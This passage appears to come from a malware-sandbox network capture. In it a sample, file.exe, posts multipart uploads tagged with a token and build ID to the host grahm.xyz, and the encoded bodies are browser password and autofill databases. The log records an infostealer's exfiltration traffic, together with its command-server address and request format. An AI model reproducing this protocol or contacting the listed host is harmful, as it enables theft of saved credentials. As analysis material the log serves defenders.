AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:54 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49742	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:56 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----5PZCTJEC2VAAAAIE3W47 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:56 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 50 5a 43 54 4a 45 43 32 56 41 41 41 41 49 45 33 57 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 35 50 5a 43 54 4a 45 43 32 56 41 41 41 41 49 45 33 57 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 35 50 5a 43 54 4a 45 43 32 56 41 41 41 41 49 45 33 57 34 37 0d 0a 43 6f 6e 74 Data Ascii: ------5PZCTJEC2VAAAAIE3W47Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------5PZCTJEC2VAAAAIE3W47Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------5PZCTJEC2VAAAAIE3W47Cont
2024-12-12 15:46:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:56 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:56 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:46:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:46:57 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49743	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:46:58 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----9ZMGDJMO89RQQIMO8QI5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 5a 4d 47 44 4a 4d 4f 38 39 52 51 51 49 4d 4f 38 51 49 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 39 5a 4d 47 44 4a 4d 4f 38 39 52 51 51 49 4d 4f 38 51 49 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 39 5a 4d 47 44 4a 4d 4f 38 39 52 51 51 49 4d 4f 38 51 49 35 0d 0a 43 6f 6e 74 Data Ascii: ------9ZMGDJMO89RQQIMO8QI5Content-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------9ZMGDJMO89RQQIMO8QI5Content-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------9ZMGDJMO89RQQIMO8QI5Cont
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:46:58 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
